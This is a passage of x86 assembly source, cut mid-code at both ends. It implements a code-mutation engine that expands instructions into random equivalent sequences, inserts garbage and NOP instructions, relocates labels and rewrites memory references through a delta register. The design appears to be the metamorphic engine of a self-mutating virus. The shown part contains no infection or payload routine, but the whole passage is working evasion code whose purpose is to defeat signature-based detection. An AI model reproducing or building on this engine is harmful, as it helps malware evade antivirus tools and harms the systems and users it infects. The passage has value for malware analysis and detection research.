eax, 0Fh or eax, eax jnz @@Return mov eax, [esi] ; If we get it, let's code garbage and eax, 78h cmp eax, 38h ; If the instruction immediately jz @@OnlyNOP ; above is CMP, TEST, CALL Mem or cmp eax, 48h ; APICALL_STORE, then code only jz @@OnlyNOP ; NOP (FD 90, insert byte 90) cmp eax, 0EAh jz @@OnlyNOP cmp eax, 0F6h jz @@OnlyNOP call Xp_InsertGarbage ; Insert some garbage @@Return: ret @@OnlyNOP: mov eax, 90FDh mov [edi], eax ; Set a NOP xor eax, eax mov [edi+0Bh], eax mov [edi+0Ch], esi ; Set the new pointer add edi, 10h ret XpandThisInstruction endp ;; This function gets the labels at the label table and translates them to ;; their new address, using the updated instruction pointers at field +0C on ;; the instruction itself. As we can see, the translation is trivial with ;; this system. Xpand_UpdateLabels proc mov ebx, [ebp+LabelTable] ; Get the label table address mov ecx, [ebp+NumberOfLabels] ; Get the number of labels @@LoopLabel: mov eax, [ebx] ; Get the address of the old instrc. mov eax, [eax+0Ch] ; Get the pointer to the new one mov [ebx+4], eax ; Set it as the new label pointer add ebx, 8 ; Next label sub ecx, 1 or ecx, ecx ; Repeat it for all labels jnz @@LoopLabel ret Xpand_UpdateLabels endp ;; This function gets the indexes, translates them to their new register ;; equivalent and set them and the addition into their corresponding working ;; fields. If a memory address is an identificator of a data variable (09h as ;; first index) then the identificator is translated looking at the ;; table of variable identificators and set up, completing it with the new ;; Delta Register. Xpand_SetMemoryAddress proc mov eax, [esi+1] ; Get the register and eax, 0FFh cmp eax, 9 ; Is it a variable identificator? jnz @@Next_NoIdent ; If not, act normally mov eax, [esi+3] ; Get the identificator mov eax, [eax] ; Get the new variable address and add eax, [ebp+New_DATA_SECTION] ; transform it to an ; offset to add to Delta Register mov [ebp+Xp_Mem_Addition], eax ; Set it mov eax, [ebp+DeltaRegister] call Xpand_TranslateRegister mov [ebp+Xp_Mem_Index1], eax ; Set the new Delta mov eax, 8 mov [ebp+Xp_Mem_Index2], eax ; Set Index2 as <no_reg> ret ; Return @@Next_NoIdent: mov eax, [esi+1] ; Get the first index and eax, 0FFh cmp eax, 8 ; Is there a register? jae @@Next_Index ; If not, process next index call Xpand_TranslateRegister ; Translate the register @@Next_Index: mov [ebp+Xp_Mem_Index1], eax ; Set the register mov eax, [esi+2] mov ecx, eax ; Save the multiplicator in ECX and ecx, 0C0h and eax, 3Fh cmp eax, 8 ; Get the register in EAX jae @@Next_Index2 ; If it's not a register, jump push ecx call Xpand_TranslateRegister pop ecx ; Translate the register and set or eax, ecx ; again the multiplicator @@Next_Index2: mov [ebp+Xp_Mem_Index2], eax ; Set the 2nd index mov eax, [esi+3] ; Set the dword addition mov [ebp+Xp_Mem_Addition], eax call RandomBoolean ; Randomly select if we exchange or eax, eax ; the index registers jz @@Return or ecx, ecx ; The multiplicator is 0? jnz @@Return ; If not, don't exchange mov eax, [ebp+Xp_Mem_Index1] ; Exchange them if we can mov ecx, [ebp+Xp_Mem_Index2] mov [ebp+Xp_Mem_Index1], ecx mov [ebp+Xp_Mem_Index2], eax @@Return: ret ; Return Xpand_SetMemoryAddress endp Xpand_Set8BitsRegister proc mov eax, 80h ; Set "8 bits" register jmp Xpand_SetRegister_Common Xpand_Set8BitsRegister endp Xpand_SetRegister proc xor eax, eax ; Set "32 bits" register Xpand_SetRegister_Common: mov [ebp+Xp_8Bits], eax ; Set the number-of-bits flag mov eax, [esi+1] and eax, 0FFh ; Get the register at +1 in the call Xpand_TranslateRegister ; instruction, translate it mov [ebp+Xp_Register], eax ; and set the register ret Xpand_SetRegister endp ;;;;; ;;;; Instruction generation functions ;;;;; ;; Generate an OP Reg,Imm Xp_GenOPRegImm proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single ; If 3 (maximum), don't recurse call RandomBoolean ; Select randomly the shape of the or eax, eax ; expansion jz @@Single call Random and eax, 3 or eax, eax jnz @@Double ;; mov Mem,Reg ;; OP Mem,Imm ;; mov Reg,Mem @@Triple: mov eax, [ebp+Xp_Operation] cmp eax, 38h ; CMP? jz @@Double ; Then make double (flags can be ; affected with this type of triplets cmp eax, 48h ; TEST? jz @@Double ; The same as with CMP cmp eax, 40h ; MOV? jz @@Double ; Then, the same, to avoid problems ; with the shrinking call Xp_SaveOperation ; Save the current op. and values call Xp_GetTempVar ; Allocate a temporary variable mov eax, [ebp+Xp_Operation] ; Set MOV operation (saving push eax ; the last one) mov eax, 40h mov [ebp+Xp_Operation], eax call RandomBoolean ; Select randomly if we make: or eax, eax ; MOV Mem,Reg jz @@Triple_1 ; OP Mem,Imm call Xp_GenOPMemReg ; MOV Reg,Mem pop eax ; or mov [ebp+Xp_Operation], eax ; MOV Mem,Imm call Xp_GenOPMemImm ; OP Mem,Reg @@Triple_Common: ; MOV Reg,Mem mov eax, 40h ; The only problem that we mov [ebp+Xp_Operation], eax ; can have is with the op. call Xp_GenOPRegMem ; SUB Reg,Imm, but since we jmp Xp_RestoreOpAndDecreaseRecurseLevel ; have substituted ; that operation in the @@Triple_1: call Xp_GenOPMemImm ; shrinking by ADD Reg,-Imm, pop eax ; we have no problem with mov [ebp+Xp_Operation], eax ; the instruction. call Xp_GenOPMemReg jmp @@Triple_Common ;; MOV Mem,Imm ;; OP Reg,Mem @@Double: mov eax, [ebp+Xp_Operation] ; Get the operation cmp eax, 40h ; MOV? jz @@Double_MOV ; Then make MOV-specific cmp eax, 38h ; CMP? jz @@Double_CMP ; Then, CMP-specific cmp eax, 48h ; TEST? jz @@Double_TEST ; Then, TEST-specific @@Double_OP: call RandomBoolean or eax, eax ; Random TRUE/FALSE jz @@Double_OP_Composed ; If FALSE, make a composed op. @@Double_OP_Normal: call Xp_SaveOperation ; Save the operation call Xp_GetTempVar ; Allocate a temporary var. mov eax, [ebp+Xp_Operation] push eax mov eax, 40h ; Set MOV operation mov [ebp+Xp_Operation], eax call Xp_GenOPMemImm ; Make OP Mem,Imm pop eax ; Restore the operation mov [ebp+Xp_Operation], eax cmp eax, 38h ; If CMP, make it direct jz @@Double_OP_Normal_Direct ; (avoid the recursion) cmp eax, 48h ; If TEST, make it direct jz @@Double_OP_Normal_Direct ; (avoid the recursion) call Xp_GenOPRegMem ; Make OP Reg,Mem jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Double_OP_Normal_Direct: add eax, 2 ; Convert the opcode to add eax, [ebp+Xp_8Bits] ; OP Reg,Mem, set the size mov [edi], eax ; of the operation in the call Xp_CopyMemoryReference ; opcode (8 or 32 bits), mov eax, [ebp+Xp_Register] ; copy the memory reference mov [edi+7], eax ; and set the register in add edi, 10h ; the +7 position (where it jmp Xp_RestoreOpAndDecreaseRecurseLevel ; must be). @@Double_OP_Composed: mov eax, [ebp+Xp_FlagRegOrMem] ; Save the previous value push eax ; here xor eax, eax ; Set "Register usage" mov [ebp+Xp_FlagRegOrMem], eax call Xp_MakeComposedOPImm ; Make the composed op. pop ebx ; Restore the value of this mov [ebp+Xp_FlagRegOrMem], ebx ; flag or eax, eax ; Check if we could make the jnz @@Double_OP_Normal ; composed operation. If jmp Xp_DecreaseRecurseLevel ; not, make it normal. @@Double_MOV: call RandomBoolean ; Decide randomly if we make a or eax, eax ; normal double-OP. jz @@Double_OP mov eax, [ebp+Xp_8Bits] ; Get it we use 8 or 32 bits or eax, eax jnz @@Double_OP ; If 8 bits, make a normal OP call Xp_GenPUSHImm ; Generate PUSH Imm call Xp_GenPOPReg ; Generate a POP Reg jmp Xp_DecreaseRecurseLevel @@Double_CMP: call RandomBoolean or eax, eax ; Make a normal OP if we get jz @@Double_OP ; TRUE randomly mov edx, 38h+4 ; Select the opcodes to use with mov ecx, 28h+4 ; CMP: CMP and SUB jmp @@Double_OP_CMPTEST_Common @@Double_TEST: call RandomBoolean or eax, eax jz @@Double_OP mov edx, 48h+4 ; Select the opcodes to use with mov ecx, 20h+4 ; TEST: TEST and AND @@Double_OP_CMPTEST_Common: call Xp_SaveOperation ; Save the current operation push edx push ecx call Xp_GetTempVar ; Allocate a temporary variable mov eax, 40h ; Make a MOV TempVar,Reg mov [ebp+Xp_Operation], eax call Xp_GenOPMemReg pop ecx pop edx call RandomBoolean ; Select randomly the opcode or eax, eax ; stored in ECX or EDX jz @@Double_OP_CMPTEST_Next mov edx, ecx @@Double_OP_CMPTEST_Next: add edx, [ebp+Xp_8Bits] ; Set the size of the operation mov [edi], edx ; in the opcode and store it call Xp_CopyMemoryReference ; blah, blah, blah... mov eax, [ebp+Xp_Immediate] ; Here we have done: mov [edi+7], eax ; CMP/SUB/TEST/AND TempVar,Imm add edi, 10h jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, [ebp+Xp_Operation] ; Get the operation cmp eax, 40h ; MOV? jz @@Single_MOV cmp eax, 38h ; CMP? jz @@Single_CMP cmp eax, 30h ; XOR? jz @@Single_XOR or eax, eax ; ADD? jz @@Single_ADD @@Single_OP: mov eax, [ebp+Xp_Operation] ; Construct the instruction add eax, [ebp+Xp_8Bits] ; with the operation, size mov [edi], eax ; of operands, destiny reg. mov eax, [ebp+Xp_Register] ; and immediate value. mov [edi+1], eax mov eax, [ebp+Xp_Immediate] mov [edi+7], eax add edi, 10h jmp Xp_DecreaseRecurseLevel ; Here we are going to make MOV Reg,Imm in a single instruction @@Single_MOV: mov eax, [ebp+Xp_Immediate] ; Get the immediate value or eax, eax ; Is it 0? jz @@Single_MOV_0 ; Then, jump @@Single_OP_MOV: call Random ; Select LEA making with a and eax, 3 ; probability of 25% or eax, eax jnz @@Single_OP mov eax, [ebp+Xp_8Bits] ; 8 bits operand size? or eax, eax jnz @@Single_OP ; Then, we can't use LEA mov eax, 000808FCh ; Make LEA Reg,[Imm] mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+7], eax mov eax, [ebp+Xp_Immediate] mov [edi+3], eax add edi, 10h jmp Xp_DecreaseRecurseLevel @@Single_MOV_0: ; Select to make LEA with 0 call Random ; (or other) with a probability and eax, 3 ; of 25% (or normal MOV) or eax, eax jz @@Single_OP_MOV cmp eax, 1 ; Prob. of 25% of making XOR jz @@Single_MOV_0_XOR cmp eax, 2 ; Prob. of 25% of making SUB jz @@Single_MOV_0_SUB @@Single_MOV_0_AND: ; Prob. of 25% of making AND call Xp_SaveOperation mov eax, 20h ; AND Reg,0 mov [ebp+Xp_Operation], eax call Xp_GenOPRegImm jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single_MOV_0_XOR: add eax, 9 ; 1, +9 = Ah, +26h = 30h: XOR @@Single_MOV_0_SUB: add eax, 26h ; 2, +26h = 28h: SUB mov ecx, eax call Xp_SaveOperation ; Save the current operation mov [ebp+Xp_Operation], ecx ; Set the new operation mov eax, [ebp+Xp_Register] ; Set source and destiny mov [ebp+Xp_SrcRegister], eax ; register as the same call Xp_GenOPRegReg ; Gen XOR/SUB Reg,Reg jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single_CMP: mov eax, [ebp+Xp_Immediate] ; Check if the immediate is 0 or eax, eax jnz @@Single_OP ; If it isn't, make it normal call Random and eax, 3 or eax, eax jz @@Single_OP ; Prob. of 25% of making CMP Reg,0 cmp eax, 1 jz @@Single_CMP_OR ; Prob. of 25% of making OR Reg,Reg cmp eax, 2 jz @@Single_CMP_AND ; Prob. of 25% of making AND Reg,Reg @@Single_CMP_TEST: ; Prob. of 25% of making TEST Reg,Reg add eax, 27h ; 3, +27 = 2A, +17 = 41, +8 = 49h: TEST @@Single_CMP_AND: add eax, 17h ; 2, +17 = 19, +8 = 21h: AND @@Single_CMP_OR: add eax, 8 ; 1, +8 = 9h: OR add eax, [ebp+Xp_8Bits] mov [edi], eax ; Set the size mov eax, [ebp+Xp_Register] ; Get the register and set it mov [edi+1], eax ; as source and destiny mov [edi+7], eax add edi, 10h ; Increase storage pointer jmp Xp_DecreaseRecurseLevel @@Single_XOR: ; If we make XOR Reg,-1 we mov eax, [ebp+Xp_Immediate] ; can also make NOT Reg cmp eax, -1 jnz @@Single_OP call RandomBoolean or eax, eax jz @@Single_OP call Xp_GenNOTReg jmp Xp_DecreaseRecurseLevel @@Single_ADD: ; Check the Imm mov eax, [ebp+Xp_Immediate] cmp eax, 1 ; ADD Reg,1? jz @@Single_ADD_NOTNEG cmp eax, -1 ; ADD Reg,-1? jz @@Single_ADD_NEGNOT @@Single_OP_ADD: call RandomBoolean ; Select randomly TRUE/FALSE or eax, eax jz @@Single_OP ; Make normal ADD if FALSE mov eax, [ebp+Xp_8Bits] or eax, eax ; If size = 8 bits, don't make jnz @@Single_OP ; LEA mov eax, 0FCh ; Make LEA Reg,[Reg+Imm] mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+1], eax mov [edi+7], eax mov eax, 8 mov [edi+2], eax mov eax, [ebp+Xp_Immediate] mov [edi+3], eax add edi, 10h jmp Xp_DecreaseRecurseLevel @@Single_ADD_NOTNEG: call RandomBoolean ; Select randomly if we do or eax, eax ; NOT Reg+NEG Reg or INC Reg jz @@Single_ADD_INC call RandomBoolean or eax, eax jz @@Single_OP_ADD call Xp_GenNOTReg ; Generate NOT Reg call Xp_GenNEGReg ; Generate NEG Reg jmp Xp_DecreaseRecurseLevel @@Single_ADD_INC: xor ebx, ebx @@Single_ADD_INCDEC_Common: mov eax, [ebp+Xp_8Bits] ; Set INC/DEC Reg. EBX is 0 add eax, 4Eh ; if we decided to do INC, or mov [edi], eax ; 8 if we decided DEC mov eax, [ebp+Xp_Register] mov [edi+1], eax mov [edi+7], ebx ; This opcode (4E) is only add edi, 10h ; used here to tell the jmp Xp_DecreaseRecurseLevel ; assembler that makes INC/DEC @@Single_ADD_NEGNOT: call RandomBoolean or eax, eax jz @@Single_ADD_DEC ; Select NEG+NOT or DEC call RandomBoolean or eax, eax ; Select randomly to do NOT+NEG jz @@Single_OP_ADD ; or a normal ADD operation (or call Xp_GenNEGReg ; maybe LEA) call Xp_GenNOTReg jmp Xp_DecreaseRecurseLevel @@Single_ADD_DEC: mov ebx, 8 ; Set DEC operation jmp @@Single_ADD_INCDEC_Common ; Jump to complete the instr. Xp_GenOPRegImm endp ;; This function generates an OP Reg,Reg from the values in the corresponding ;; fields. Like the previous function, we also look for special cases for ;; some operations (MOV, etc.) to code them with valid alternatives (for ;; example, PUSH Reg+POP Reg2 for MOV, or LEA Reg,[Reg2], etc.). Xp_GenOPRegReg proc call Xp_IncreaseRecurseLevel cmp eax, 3 ; Too much deep in recursivity? jae @@Single ; If so, code a not-recursive instrc. call RandomBoolean or eax, eax ; Select randomly the usage of a jz @@Single ; single instruction call Random and eax, 3 or eax, eax ; Pair or triplet? jnz @@Double ; Jump to make a pair @@Triple: mov eax, [ebp+Xp_Operation] cmp eax, 38h ; If CMP, MOV or TEST make a pair jae @@Double call Xp_SaveOperation call Xp_GetTempVar ; Allocate a temporary variable mov eax, [ebp+Xp_Operation] push eax mov eax, 40h ; Set MOV operation mov [ebp+Xp_Operation], eax call Xp_GenOPMemReg ; Generate a MOV [Mem],Reg pop eax mov [ebp+Xp_Operation], eax ; Restore the operation mov eax, [ebp+Xp_Register] push eax ; Set the source destiny into mov eax, [ebp+Xp_SrcRegister] ; the "Register" field mov [ebp+Xp_Register], eax call Xp_GenOPMemReg ; Generate a OP [Mem],srcReg pop eax mov [ebp+Xp_Register], eax ; Restore the destiny reg. mov eax, 40h mov [ebp+Xp_Operation], eax ; Set MOV operation call Xp_GenOPRegMem ; Generate a MOV Reg,[Mem] jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Double: mov eax, [ebp+Xp_Operation] cmp eax, 40h ; MOV? jz @@Double_MOV cmp eax, 38h ; CMP jz @@Double_CMP cmp eax, 48h ; TEST? jz @@Double_TEST @@Double_OP: call Xp_SaveOperation call Xp_GetTempVar ; Allocate a temp. variable mov eax, [ebp+Xp_Operation] push eax mov eax, 40h ; Set MOV mov [ebp+Xp_Operation], eax mov eax, [ebp+Xp_Register] push eax mov eax, [ebp+Xp_SrcRegister] mov [ebp+Xp_Register], eax call Xp_GenOPMemReg ; Make a MOV [TempVar],srcReg pop eax mov [ebp+Xp_Register], eax ; Restore the destiny register pop eax mov [ebp+Xp_Operation], eax ; Restore the operation call Xp_GenOPRegMem ; Make an OP dstReg,[TempVar] jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Double_MOV: call RandomBoolean or eax, eax ; Decide randomly if we use jz @@Double_OP ; the common making mov eax, [ebp+Xp_8Bits] or eax, eax ; If the size is 8 bits, make jnz @@Double_OP ; a common OP mov eax, [ebp+Xp_Register] push eax ; Save the register mov eax, [ebp+Xp_SrcRegister] ; Set the source register as mov [ebp+Xp_Register], eax ; the destiny call Xp_GenPUSHReg ; Generate a PUSH srcReg pop eax mov [ebp+Xp_Register], eax ; Restore the desstiny reg. call Xp_GenPOPReg ; Generate a POP dstReg jmp Xp_DecreaseRecurseLevel @@Double_CMP: mov ecx, 3Bh ; ECX = CMP [Mem],Reg mov edx, 2Bh ; EDX = SUB [Mem],Reg @@Double_CMPTEST_Common: call RandomBoolean ; Select if we do a normal OP or or eax, eax ; this special one jz @@Double_OP call Xp_SaveOperation push ecx push edx call Xp_GetTempVar ; Allocate a temporary variable mov eax, 40h mov [ebp+Xp_Operation], eax call Xp_GenOPMemReg ; Make a MOV [TempVar],dstReg pop edx pop ecx call RandomBoolean ; Now select randomly if we use the or eax, eax ; contents of ECX (CMP/AND) or jz @@Double_CMPTEST_Next ; EDX (SUB/TEST) mov edx, ecx @@Double_CMPTEST_Next: add edx, [ebp+Xp_8Bits] ; Set the size into the opcode mov [edi], edx ; Make directly the instrc. call Xp_CopyMemoryReference ; (not recursive). This is mov eax, [ebp+Xp_SrcRegister] ; because the flags must not mov [edi+7], eax ; be altered after performing add edi, 10h ; this instruction. jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Double_TEST: mov ecx, 23h ; ECX = AND [Mem],Reg mov edx, 4Bh ; EDX = TEST [Mem],Reg (in jmp @@Double_CMPTEST_Common ; fact, the same as 4A) ;; Single OP Reg,Reg instruction @@Single: mov eax, [ebp+Xp_Operation] ; Check the operation cmp eax, 40h ; MOV? jz @@Single_MOV or eax, eax ; ADD? jz @@Single_ADD @@Single_OP: mov eax, [ebp+Xp_Operation] ; Get the operation add eax, 1 ; Make it "OP Reg,Reg" add eax, [ebp+Xp_8Bits] ; Set the size of operands mov [edi], eax ; Set the pseudoopcode mov eax, [ebp+Xp_Register] mov [edi+7], eax ; Set the destiny register mov eax, [ebp+Xp_SrcRegister] mov [edi+1], eax ; Set the source register add edi, 10h jmp Xp_DecreaseRecurseLevel @@Single_MOV: mov eax, [ebp+Xp_8Bits] ; Get the size of the op. or eax, eax ; If it's 8 bits, make a jnz @@Single_OP ; normal, generic operation call RandomBoolean or eax, eax ; Select randomly if we make jz @@Single_OP ; this special op or not mov eax, 0FCh ; Make a LEA Reg,[Reg2] mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+7], eax mov eax, [ebp+Xp_SrcRegister] mov [edi+1], eax mov eax, 8 mov [edi+2], eax xor eax, eax mov [edi+3], eax add edi, 10h jmp Xp_DecreaseRecurseLevel @@Single_ADD: mov eax, [ebp+Xp_8Bits] ; If 8 bits, we cannot use LEA or eax, eax jnz @@Single_OP call RandomBoolean or eax, eax jz @@Single_OP mov eax, 0FCh ; Make LEA Reg,[Reg+Reg2] mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+1], eax mov [edi+7], eax mov eax, [ebp+Xp_SrcRegister] mov [edi+2], eax xor eax, eax mov [edi+3], eax add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenOPRegReg endp ;; This generates an OP Reg,Mem. As the functions above, we check for special ;; cases and we treat them, so the mutation is even more variated. Xp_GenOPRegMem proc call Xp_IncreaseRecurseLevel cmp eax, 3 ; Single if the recursivity level is jae @@Single ; too high to make more recursion call Random and eax, 7 or eax, eax ; Select "Single instruction" with a jnz @@Single ; probability of 1/8 @@Multiple: mov eax, [ebp+Xp_8Bits] or eax, eax ; 8 bits? jnz @@Single ; Then make it single mov eax, [ebp+Xp_Operation] cmp eax, 40h ; MOV? jz @@Multiple_MOV @@Multiple_OP: call RandomBoolean or eax, eax jz @@Single call Xp_SaveOperation ; Generate a PUSH [Mem] call Xp_GenPUSHMem call Xp_GetTempVar ; Allocate a temp. variable call Xp_GenPOPMem ; Generate a POP [TempVar] call Xp_GenOPRegMem ; Generate a OP Reg,[TempVar] jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Multiple_MOV: call RandomBoolean ; Randomly decide if we make the or eax, eax ; normal operation jz @@Multiple_OP call Xp_GenPUSHMem ; Generate PUSH [Mem] call Xp_GenPOPReg ; Generate POP Reg jmp Xp_DecreaseRecurseLevel @@Single: mov eax, [ebp+Xp_Operation] add eax, [ebp+Xp_8Bits] add eax, 2 ; Set OP Reg,[Mem] mov [edi], eax call Xp_CopyMemoryReference mov eax, [ebp+Xp_Register] mov [edi+7], eax add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenOPRegMem endp ;; Function to generate an OP [Mem],Reg Xp_GenOPMemReg proc @@Start: call Xp_IncreaseRecurseLevel cmp eax, 3 ; Single if recurs. level is too high to jae @@Single ; recurse call Random and eax, 7 or eax, eax jnz @@Single ; Select single with a prob. of 7/8 call Random @@Multiple: mov eax, [ebp+Xp_8Bits] or eax, eax jnz @@Single ; Select single if the size of the ; operands is 8 bits mov eax, [ebp+Xp_Operation] cmp eax, 40h ; MOV? jz @@Multiple_MOV @@Multiple_OP: call Xp_SaveOperation ; Make the sequence: call Xp_GenPUSHMem ; PUSH [Mem] call Xp_GetTempVar ; POP [TempVar] call Xp_GenPOPMem ; OP [TempVar],Reg mov eax, [ebp+Xp_Operation] ; PUSH [TempVar] cmp eax, 38h ; POP [Mem] jz @@Multiple_OP_CMP ; or if operation is CMP/TEST: cmp eax, 48h ; PUSH [Mem] jz @@Multiple_OP_TEST ; POP [TempVar] @@Multiple_OP_Common: ; CMP/TEST [TempVar],Reg call Xp_GenOPMemReg ; That CMP/TEST can be also call Xp_GenPUSHMem ; SUB/AND, since we can modify call Xp_RestoreOperation ; [TempVar] as we want. call Xp_GenPOPMem jmp Xp_DecreaseRecurseLevel @@Multiple_OP_CMP: mov ecx, 3Bh mov edx, 2Bh jmp @@Multiple_OP_CMPTEST_Common @@Multiple_OP_TEST: mov ecx, 23h mov edx, 4Bh @@Multiple_OP_CMPTEST_Common: call RandomBoolean or eax, eax jz @@Multiple_OP_CMPTEST_Next mov edx, ecx @@Multiple_OP_CMPTEST_Next: add edx, [ebp+Xp_8Bits] mov [edi], edx call Xp_CopyMemoryReference mov eax, [ebp+Xp_Register] mov [edi+7], eax add edi, 10h jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Multiple_MOV: @@Multiple_MOV_Other: call Random ; Should we make this specific-for-MOV and eax, 3 ; operation or do we make the normal or eax, eax ; one? jz @@Multiple_OP ; Make the normal, then cmp eax, 1 jz @@Multiple_MOV_1 ; Select one of the two possibilities cmp eax, 2 jnz @@Multiple_MOV_Other @@Multiple_MOV_2: call Xp_GenPUSHReg ; Make PUSH Reg / POP [Mem] call Xp_GenPOPMem jmp Xp_DecreaseRecurseLevel @@Multiple_MOV_1: call Xp_SaveOperation ; Make MOV [TempVar],Reg / call Xp_GetTempVar ; / PUSH [TempVar] / POP [Mem] jmp @@Multiple_OP_Common @@Single: mov eax, [ebp+Xp_Operation] add eax, [ebp+Xp_8Bits] ; Make the pseudoopcode: add eax, 3 ; OP + 3 = OP Mem,Reg mov [edi], eax call Xp_CopyMemoryReference ; Copy the operands mov eax, [ebp+Xp_Register] mov [edi+7], eax add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenOPMemReg endp ;; Generate an OP [Mem],Imm. Also check special cases. ;; When we work with a direct value (Imm), we have lots of new possiblities, ;; like the composed operations (ADD + SUB, MOV + OP, etc.). Xp_GenOPMemImm proc @@Start: call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call RandomBoolean or eax, eax ; Single or multiple? jz @@Single ; Decide it randomly call Random and eax, 7 or eax, eax ; Probability of 1/8 of making a triplet jnz @@Double @@Triple: mov eax, [ebp+Xp_8Bits] or eax, eax ; Is size of operands 8 bits? jnz @@Double ; Then, make a pair rather than this call Xp_GenPUSHMem ; Make PUSH [Mem] call Xp_SaveOperation call Xp_GetTempVar ; Make POP [TempVar] call Xp_GenPOPMem mov eax, [ebp+Xp_Operation] cmp eax, 38h ; CMP? jz @@Triple_CMP cmp eax, 48h ; TEST? jz @@Triple_TEST call Xp_GenOPMemImm ; Generate OP [TempVar],Imm call Xp_GenPUSHMem ; Generate PUSH [TempVar] call Xp_RestoreOperation call Xp_GenPOPMem ; Generate POP [Mem] jmp Xp_DecreaseRecurseLevel @@Triple_CMP: mov ecx, 2Ch ; ECX = SUB Mem,Imm mov edx, 3Ch ; EDX = CMP Mem,Imm jmp @@Triple_CMPTEST_Common @@Triple_TEST: mov ecx, 24h ; ECX = AND Mem,Imm mov edx, 4Ch ; EDX = TEST Mem,Imm @@Triple_CMPTEST_Common: call RandomBoolean or eax, eax ; Select randomly ECX or EDX jz @@Triple_CMPTEST_Next mov edx, ecx @@Triple_CMPTEST_Next: add edx, [ebp+Xp_8Bits] ; Set the size of the operands mov [edi], edx call Xp_CopyMemoryReference ; Make the instruction mov eax, [ebp+Xp_Immediate] mov [edi+7], eax add edi, 10h jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Double: mov eax, [ebp+Xp_Operation] cmp eax, 40h ; MOV? jz @@Double_MOV or eax, eax ; ADD? jz @@Double_ADD cmp eax, 38h ; CMP? jz @@Single cmp eax, 48h ; TEST? jz @@Single @@Double_OP: mov eax, [ebp+Xp_FlagRegOrMem] push eax mov eax, 1 ; Mark that we are making mov [ebp+Xp_FlagRegOrMem], eax ; a memory operation call Xp_MakeComposedOPImm ; Generate a composed op. pop ebx mov [ebp+Xp_FlagRegOrMem], ebx ; Restore the flag or eax, eax ; If we couldn't make it, jnz @@Single ; jump and make a single. jmp Xp_DecreaseRecurseLevel @@Double_MOV: call RandomBoolean ; Decide randomly if we do or eax, eax ; this or a generic operation jz @@Double_OP mov eax, [ebp+Xp_8Bits] ; If size is 8 bits, we can't or eax, eax ; make this option jnz @@Double_OP call Xp_GenPUSHImm ; Generate a PUSH Imm call Xp_GenPOPMem ; Generate a POP [Mem] jmp Xp_DecreaseRecurseLevel @@Double_ADD: call RandomBoolean or eax, eax jz @@Double_OP mov eax, [ebp+Xp_Immediate] cmp eax, 1 ; ADD Mem,1? jz @@Double_ADD_NOTNEG ; Then try NOT+NEG cmp eax, -1 ; ADD Mem,-1? jnz @@Double_OP ; Then try NEG+NOT @@Double_ADD_NEGNOT: call Xp_GenNEGMem ; Generate NEG Mem call Xp_GenNOTMem ; Generate NOT Mem jmp Xp_DecreaseRecurseLevel ; Effectively decreases Mem @@Double_ADD_NOTNEG: call Xp_GenNOTMem ; Generate NOT Mem call Xp_GenNEGMem ; Generate NEG Mem jmp Xp_DecreaseRecurseLevel ; Effectively increases Mem @@Single: mov eax, [ebp+Xp_Operation] ; Get the operation cmp eax, 30h ; XOR? jz @@Single_XOR or eax, eax ; ADD? jz @@Single_ADD @@Single_OP: mov eax, [ebp+Xp_Operation] ; Set OP Mem,Imm add eax, [ebp+Xp_8Bits] add eax, 4 mov [edi], eax call Xp_CopyMemoryReference ; Copy the operands mov eax, [ebp+Xp_Immediate] mov [edi+7], eax add edi, 10h jmp Xp_DecreaseRecurseLevel @@Single_XOR: ; Check if we are making mov eax, [ebp+Xp_Immediate] ; XOR Mem,-1 cmp eax, -1 jnz @@Single_OP ; If we are, we can code it call RandomBoolean ; also as NOT Mem or eax, eax jz @@Single_OP call Xp_GenNOTMem jmp Xp_DecreaseRecurseLevel @@Single_ADD: call RandomBoolean ; If we do ADD Mem,1/-1, we or eax, eax ; can use INC Mem or DEC Mem jz @@Single_OP mov eax, [ebp+Xp_Immediate] cmp eax, 1 jz @@Single_INC cmp eax, -1 jnz @@Single_OP @@Single_DEC: mov ebx, 8 ; Set DEC if Imm == -1 @@Single_INCDEC_Common: mov eax, [ebp+Xp_8Bits] ; Set the size of the operation add eax, 4Fh ; Set the opcode (local, this mov [edi], eax ; opcode only exists between the push ebx ; expander and the assembler). call Xp_CopyMemoryReference ; Copy the rest of the operands pop ebx mov [edi+7], ebx ; Set the operation: INC or DEC add edi, 10h jmp Xp_DecreaseRecurseLevel @@Single_INC: xor ebx, ebx ; Set INC if Imm == 1 jmp @@Single_INCDEC_Common Xp_GenOPMemImm endp ;; Generate a PUSH Reg Xp_GenPUSHReg proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 3 or eax, eax jnz @@Single ; 1/4 to generate a complex PUSH @@Multiple: call Xp_SaveOperation call Xp_GetTempVar ; Allocate a temporary variable mov eax, 40h mov [ebp+Xp_Operation], eax ; Make a MOV [TempVar],Reg xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenOPMemReg call Xp_GenPUSHMem ; Make a PUSH [TempVar] jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, 50h ; Construct the PUSH Reg Xp_GenPUSHReg_Common: mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+1], eax add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenPUSHReg endp ;; Generate a PUSH [Mem] Xp_GenPUSHMem proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 7 ; Chance of 1/8 of generating a complex or eax, eax ; PUSH jnz @@Single call Xp_SaveOperation call Xp_GenPUSHMem ; Make a PUSH [Mem] call Xp_GetTempVar ; Make a POP [TempVar] call Xp_GenPOPMem call Xp_GenPUSHMem ; Make a PUSH [TempVar] 